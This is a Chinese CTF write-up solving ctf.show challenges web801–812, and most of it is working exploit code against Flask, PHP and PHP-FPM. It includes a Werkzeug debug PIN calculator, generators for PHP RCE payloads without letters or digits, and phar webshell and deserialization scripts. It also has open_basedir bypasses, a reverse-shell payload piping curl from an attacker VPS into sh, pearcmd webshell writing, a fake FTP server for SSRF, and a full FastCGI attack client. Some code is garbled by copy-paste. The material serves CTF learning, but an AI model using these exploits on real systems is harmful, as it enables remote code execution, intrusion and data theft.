web801 计算Flask的pin码 pin码是flask在开启debug模式下,进行代码调试模式所需的进入密码,需要正确的PIN码才能进入调试模式,可以理解为自带的webshell
计算pin码需要以下几个信息:
1.username 在可以任意文件读的条件下读 /etc/passwd进行猜测 2.modname 默认flask.app 3.appname 默认Flask 4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量 5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address 6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了 题目给的入口可以访问系统文件(那直接访问flag不就行了),通过这个可以获知以上信息。
在python3.6版本中,计算pin的部分算法采用了md5,3.8后换为sha1。这里的python环境为3.8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import hashlibfrom itertools import chainprobably_public_bits = [ 'roo' 'flask.app' , 'Flask' , '//usr/local/lib/python3.8/site-packages/flask/app.py # getattr(mod, ' __file__', None), ] private_bits = [ ' 2485377569891 ',# str(uuid.getnode()), /sys/class/net/ens33/address ' 0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode(' utf-8 ') h.update(bit) h.update(b' cookiesalt') cookie_name = ' __wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b' pinsalt') num = (' %09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = ' -'.join(num[x:x + group_size].rjust(group_size, ' 0 ') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 import hashlibfrom itertools import chainprobably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] private_bits = [ '2485377569891' , '225374fa-04bc-4346-9f39-48fa82829ca9010bc93c4762091ea7a11bc19cabdc0a73f637d3ae2641fd473a159d4be97c53' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv =None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
pin:447-739-932
访问console:https://4b34d95b-6579-43b9-b1e0-9716969682c7.challenge.ctf.show/console
web802 无字母数字rce
1 2 3 4 5 6 7 error_reporting(0 ); highlight_file(__FILE__ ); $cmd = $_POST ['cmd' ];if (!preg_match('/[a-z]|[0-9]/i' ,$cmd )){ eval ($cmd ); }
参考
1.异或 生成一个用来构造字符列表的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile = fopen("xor_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex($i ); } else { $hex_i =dechex($i ); } if ($j <16 ){ $hex_j ='0' .dechex($j ); } else { $hex_j =dechex($j ); } $preg = '/[a-z0-9]/i' ; if (preg_match($preg , hex2bin($hex_i ))||preg_match($preg , hex2bin($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode($a )^urldecode($b )); if (ord($c )>=32 &ord($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite($myfile ,$contents ); fclose($myfile );
命令生成脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("xor_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"^\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
2.或 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php $myfile = fopen("or_rce.txt" , "w" );$contents ="" ;for ($i =0 ; $i < 256 ; $i ++) { for ($j =0 ; $j <256 ; $j ++) { if ($i <16 ){ $hex_i ='0' .dechex($i ); } else { $hex_i =dechex($i ); } if ($j <16 ){ $hex_j ='0' .dechex($j ); } else { $hex_j =dechex($j ); } $preg = '/[0-9a-z]/i' ; if (preg_match($preg , hex2bin($hex_i ))||preg_match($preg , hex2bin($hex_j ))){ echo "" ; } else { $a ='%' .$hex_i ; $b ='%' .$hex_j ; $c =(urldecode($a )|urldecode($b )); if (ord($c )>=32 &ord($c )<=126 ) { $contents =$contents .$c ." " .$a ." " .$b ."\n" ; } } } } fwrite($myfile ,$contents ); fclose($myfile );
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requestsimport urllibfrom sys import *import osdef action (arg ): s1="" s2="" for i in arg: f=open ("or_rce.txt" ,"r" ) while True : t=f.readline() if t=="" : break if t[0 ]==i: s1+=t[2 :5 ] s2+=t[6 :9 ] break f.close() output="(\"" +s1+"\"|\"" +s2+"\")" return (output) while True : param=action(input ("\n[+] your function:" ) )+action(input ("[+] your command:" ))+";" print (param)
3.取反 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php fwrite(STDOUT,'[+]your function: ' ); $system =str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); fwrite(STDOUT,'[+]your command: ' ); $command =str_replace(array ("\r\n" , "\r" , "\n" ), "" , fgets(STDIN)); echo '[*] (~' .urlencode(~$system ).')(~' .urlencode(~$command ).');' ;
web803 phar文件包含
1 2 3 4 5 6 7 8 9 10 11 12 error_reporting(0 ); highlight_file(__FILE__ ); $file = $_POST ['file' ];$content = $_POST ['content' ];if (isset ($content ) && !preg_match('/php|data|ftp/i' ,$file )){ if (file_exists($file .'.txt' )){ include $file .'.txt' ; }else { file_put_contents($file ,$content ); } }
『PHP』phar文件详解_phar文件格式_调用phar类方法生成phar文件_php phar-CSDN博客
phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。
可以将phar文件类比为一个压缩文件
先生成phar文件
1 2 3 4 5 6 7 <?php $phar = new Phar("shell.phar" );$phar ->startBuffering();$phar -> setStub('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar ->addFromString("a.txt" , "<?php eval(\$_POST[1]);?>" );$phar ->stopBuffering();?>
再上传文件(本题目录下没有上传权限,传至/tmp),并利用
1 2 3 4 5 6 7 import requests url="http://d4d6bb42-e30d-4ed7-b823-baa8ec7e8cc8.challenge.ctf.show/index.php" data1={'file' :'/tmp/a.phar' ,'content' :open ('shell.phar' ,'rb' ).read()} data2={'file' :'phar:///tmp/a.phar/a' ,'content' :'123' ,'1' :'system("cat f*");' } requests.post(url,data=data1) r=requests.post(url,data=data2) print (r.text)
web804 phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 error_reporting(0 ); highlight_file(__FILE__ ); class hacker { public $code ; public function __destruct ( ) { eval ($this ->code); } } $file = $_POST ['file' ];$content = $_POST ['content' ];if (isset ($content ) && !preg_match('/php|data|ftp/i' ,$file )){ if (file_exists($file )){ unlink($file ); }else { file_put_contents($file ,$content ); } }
生成phar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class hacker { public $code ; public function __destruct ( ) { eval ($this ->code); } } $a =new hacker();$a ->code="system('cat f*');" ;$phar = new Phar("shell.phar" );$phar ->startBuffering();$phar ->setMetadata($a );$phar -> setStub('GIF89a' .'<?php __HALT_COMPILER();?>' );$phar ->addFromString("a.txt" , "<?php eval(\$_POST[1]);?>" );$phar ->stopBuffering();?>
1 2 3 4 5 6 7 8 import requestsurl = "http://c3fc367a-93a6-4fd8-bc87-4645ad2c58f4.challenge.ctf.show/index.php" data1 = {'file' : '/tmp/a.phar' , 'content' : open ('shell.phar' , 'rb' ).read()} data2 = {'file' : 'phar:///tmp/a.phar' , 'content' : '123' } requests.post(url, data=data1) r = requests.post(url, data=data2) print (r.text)
web805 open_basedir绕过,open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
本题将范围限制在以下范围,同时禁用了一些函数:
用symlink绕过 1 symlink(string $target , string $link ): bool
对于已有的 target 建立一个名为 link 的符号连接。 而target一般情况下受限于open_basedir。
1 2 3 4 5 6 <?php $target = "downloads.php" ;$link = "downloads" ;symlink($target , $link ); echo readlink($link );?>
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 mkdir("A" ); chdir("A" ); mkdir("B" ); chdir("B" ); mkdir("C" ); chdir("C" ); mkdir("D" ); chdir("D" ); chdir(".." ); chdir(".." ); chdir(".." ); chdir(".." ); symlink("A/B/C/D" ,"SD" ); symlink("SD/../../../../ctfshowflag" ,"1" ); unlink("SD" ); mkdir("SD" );
bindtextdomain和SplFileInfo(未测试) 1 bindtextdomain(string $domain , ?string $directory ): string |false
在directory存在的时候返回directory,不存在则返回false。
利用chdir与ini_set 1 2 chdir(string $directory ): bool ini_set(string $option , string $value ): string |false
payload:
1 2 mkdir('sub' );chdir('sub' );ini_set('open_basedir' ,'..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );ini_set('open_basedir' ,'/' );var_dump(scandir('/' )); mkdir('sub' );chdir('sub' );ini_set('open_basedir' ,'..' );chdir('..' );chdir('..' );chdir('..' );chdir('..' );ini_set('open_basedir' ,'/' );readfile('/ctfshowflag' );
相当于把open_basedir设置成了/,
web806 无参rce
1 2 3 if (';' === preg_replace('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { eval ($_GET ['code' ]); }
正则表达式的作用是将所有函数调用(包括嵌套函数)从输入的code中移除。这段代码的作用是通过正则表达式来检查是否包含仅由函数调用组成的代码,并且如果满足条件就执行该代码
需要构造的payload需要满足格式xxx(xxx(xxx())),且不能含有参数
比如
payload:eval(end(getallheaders())),将system函数嵌入在请求头的最后一个,然后eval。
getallheaders获取所有请求头,end将指针移至末尾。
不过,php5以上似乎不支持在函数内传递另一个函数的直接返回值 ,也有可能是我测试出了问题
get_defined_vars() 同理,get_defined_vars返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES
全局变量的值,返回数组顺序为get->post->cookie->files
current()
返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET
变量的数组值。
如果需要$post
就把current
改成next
就好。
payload eval(end(current(get_defined_vars())));&jiang=system(‘cat /ctfshowflag’);
web807 反弹shell
1 2 3 if ($schema ==="https://" ){ shell_exec("curl $url " ); }
建立一个服务端让该代码主动连接。
?url=https://your-shell.com/你的vps:你的端口%20|%20sh
web808 临时文件包含
在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。
$_FILES超级全局变量很特殊,他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息,这些信息对于通过PHP脚本上传到服务器的文件至关重要
1 2 3 4 5 $_FILES ['userfile' ]['name' ] 客户端文件的原名称。这个变量值的获取很重要,因为临时文件的名字都是由随机函数生成的,只有知道文件的名字才能正确的去包含它。$_FILES ['userfile' ]['type' ] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif" 。$_FILES ['userfile' ]['size' ] 已上传文件的大小,单位为字节。$_FILES ['userfile' ]['tmp_name' ] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。$_FILES ['userfile' ]['error' ] 该文件上传的错误代码,上传成功其值为0 ,否则为错误信息。
存储目录 文件被上传后,默认会被存储到服务端的默认临时目录中,该临时目录由php.ini的upload_tmp_dir
属性指定,假如upload_tmp_dir
的路径不可写,PHP会上传到系统默认的临时目录中。这里是/tmp
文件名 Linux临时文件主要存储在/tmp/
目录下,格式通常是(/tmp/php[6个随机字符]
)
Windows临时文件主要存储在C:/Windows/
目录下,格式通常是(C:/Windows/php[4个随机字符].tmp
)
phpinfo特性 看脸。
当我们在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES
变量中找到。这个临时文件在请求结束后就会被删除
php代码中使用php://filter的strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码(本题文件名会给出)。
1 2 3 4 5 6 7 8 import requestsurl="http://xx?file=php://filter/string.strip_tags/resource=/etc/passwd" files={ 'file' :('<?php eval($_REQUEST[abc]);?>' ) } r=requests.post(url=url,files=files)
web809 pear包含 :本篇文章中介绍了一种利用paercmd.php的方法
本题取消了对临时文件包含的文件名回显
1 2 if (isset ($file ) && !preg_match("/input|data|phar|log|filter/i" ,$file )){ include $file ;
“pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。”
其中有个名为config-create的命令,变量设置为参数1【root-path】的子目录并保存在第二个参数【filename】中。
payload:?file=/usr/local/lib/php/pearcmd.php&+config-create+/=eval($_POST[1]);?>+/tmp/a.txt
注意还是用bp传参,因为用浏览器直接传参会编码
然后包含即可
web810 SSRF打PHP-FPM
1 2 3 4 curl_setopt($ch ,CURLOPT_URL,$url ); curl_setopt($ch ,CURLOPT_HEADER,1 ); curl_setopt($ch ,CURLOPT_RETURNTRANSFER,0 ); curl_setopt($ch ,CURLOPT_FOLLOWLOCATION,0 );
PHP-FPM详解 - walkingSun - 博客园
总之fastcgi是一个用于管理PHP进程池的协议,接受web服务器请求。只会解析php请求,并且返回结果,不会管理。
GitHub -Gopherus
一种生成ssrf-Gopherus payload的工具。
使用:
将_后的内容url编码后再上传即可。
web811 file_put_contents打PHP-FPM
file_put_contents () 函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。对于
1 file_put_contents($_GET ['file' ], $_GET ['data' ])
这个点是存在WebShell写入漏洞的,但是在不能写文件的环境下该如何利用呢?那么可以利用SSRF进行攻击。如果我们能向 PHP-FPM 发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但file_get_contents却不支持。
利用FTP协议的被动模式,即:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个有服务端指定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的某一个端口,如果它愿意的话。假设此时发现内网中存在 PHP-FPM,那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
在vps开启一个ftp服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' ,39001 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close() 开启
开启监听
nc -lvp 39002
gopherus生成payload即可
paylaod:file=ftp://x.x.x.x:39001&content=payload(本次无需编码)
后面的步骤同上
web812 [php-fastcgi未授权]fastcgi未授权访问漏洞(php-fpm fast-cgi未授权访问漏洞)_php-fpm fastcgi 未授权访问漏洞-CSDN博客
CGI:CGI是一种协议,它定义了Nginx或者其他Web Server传递过来的数据格式,全称是(Common Gateway Interface,CGI),CGI是一个独立的程序,独立与WebServer之外,任何语言都可以写CGI程序,例如C、Perl、Python等
到了漏洞成因这一块呢还是十分清晰的,既然是未授权访问那肯定少不了0.0.0.0:9000 这样一条配置了。就是因为管理员在配置时,错误的将php-fpm的9000端口访问限制配置成了允许所有IP访问。这就造成了没有授权的人也能访问这个端口。为一些别有用心的攻击者提供了攻击的切入点。
Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给谁?其实就是传给 FPM。 FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。 举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2,如果 web 目录是/var/www/html,那么 Nginx 会将这个请求变成如下 key-value 对:{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
这个数组其实就是 PHP 中_SERVER数组的一部分,也就是 PHP 里的环境变量。但环境变量的作用不仅是填充_SERVER数组,也是告诉 fpm:“我要执行哪个 PHP 文件”。 PHP-FPM 拿到 fastcgi 的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的 PHP 文件,也就是/var/www/html/index.php。
PHP-FPM工作时,默认监听9000端口,用于接收Web服务器发送过来的FastCGI协议数据。而当我们能够通过任意方式访问到PHP-FPM的9000端口时,就可以构造数据包通过给SCRIPT_FILENAME赋值,达到执行任意PHP文件的目的了。但是由于FPM某版本后配置文件添加了security.limit_extensions选项,用于指定解析文件的后缀,并且默认值为.php
,这样让我们无法通过任意文件包含达到代码执行的效果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 import socketimport randomimport argparseimport sysfrom io import BytesIOPY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i]) def bord (c ): if isinstance (c, int ): return c else : return ord (c) def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' ) def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return s class FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) self.sock.send(request) self.requests[requestId]['state' ] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response' ] = b'' return self.__waitForResponse(requestId) def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ,default='pwn.challenge.ctf.show' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ,default='/usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php system("cat /flagfile"); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=28202 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) print (force_text(response))
使用:python .\web812.py pwn.challenge.ctf.show /usr/local/lib/php/System.php